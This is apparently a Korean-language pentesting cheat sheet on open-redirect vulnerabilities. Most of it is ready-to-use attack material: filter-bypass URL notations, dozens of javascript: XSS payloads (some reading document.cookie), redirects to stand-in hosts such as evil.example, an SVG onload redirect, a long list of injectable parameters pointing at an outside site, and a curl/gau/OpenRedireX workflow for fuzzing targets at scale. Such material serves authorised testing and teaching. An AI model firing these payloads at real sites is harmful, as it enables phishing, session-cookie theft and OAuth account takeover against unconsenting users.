Open Redirect

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Open redirect

Redirect to localhost or arbitrary domains

• If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
• IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
• IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
• Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
• Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1.
• Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
• //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
• Userinfo tricks defeat contains/startswith checks against trusted hosts:
• https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
• Backslash parsing confusion between frameworks/browsers:
• https://trusted.tld@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

# Scheme-relative (current scheme is reused)
//evil.example

# Credentials (userinfo) trick
https://trusted.example@evil.example/

# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/

# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example

# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example

# When only path is accepted, try breaking absolute URL detection
/\\evil.example
/..//evil.example

Open Redirect를 통한 svg 파일 업로드

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

일반적인 injection 파라미터

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

코드 예제

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Hunting and exploitation 워크플로우 (실습)

• 단일 URL을 curl로 확인:

curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"

• 대규모로 가능성이 높은 매개변수를 찾아 fuzz하세요:

# 1) Gather historical URLs, keep those with common redirect params
cat domains.txt \
| gau --o urls.txt            # or: waybackurls / katana / hakrawler

# 2) Grep common parameters and normalize list
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt

# 3) Use OpenRedireX to fuzz with payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

# 4) Manually verify interesting hits
awk '/30[1237]|Location:/I' results.txt

• 클라이언트 측 sink도 SPAs에서 잊지 마세요: window.location/assign/replace 및 query/hash를 읽어 리디렉트하는 프레임워크 헬퍼를 찾아보세요.

• 프레임워크는 종종 리디렉션 목적지가 신뢰할 수 없는 입력(query params, Referer, cookies)에서 파생될 때 footguns(실수 유발 패턴)를 도입합니다. Next.js의 리디렉트 관련 노트를 참고하고 사용자 입력에서 파생되는 동적 목적지는 피하세요.

NextJS

• OAuth/OIDC 흐름: open redirectors를 악용하면 authorization codes/tokens 유출을 통해 계정 탈취로 이어지는 경우가 많습니다. 전용 가이드를 참조하세요:

OAuth to Account takeover

• Location 헤더 없이 리디렉트를 구현하는 서버 응답(meta refresh/JavaScript)은 여전히 피싱에 악용될 수 있고 때로는 체이닝될 수 있습니다. Grep for:

<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

도구

• https://github.com/0xNanda/Oralyzer
• OpenRedireX – open redirects를 탐지하기 위한 fuzzer. 예:

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

참고자료

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect에서 fuzzing lists를 찾을 수 있습니다.
• https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
• https://github.com/cujanovic/Open-Redirect-Payloads
• https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
• PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
• OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX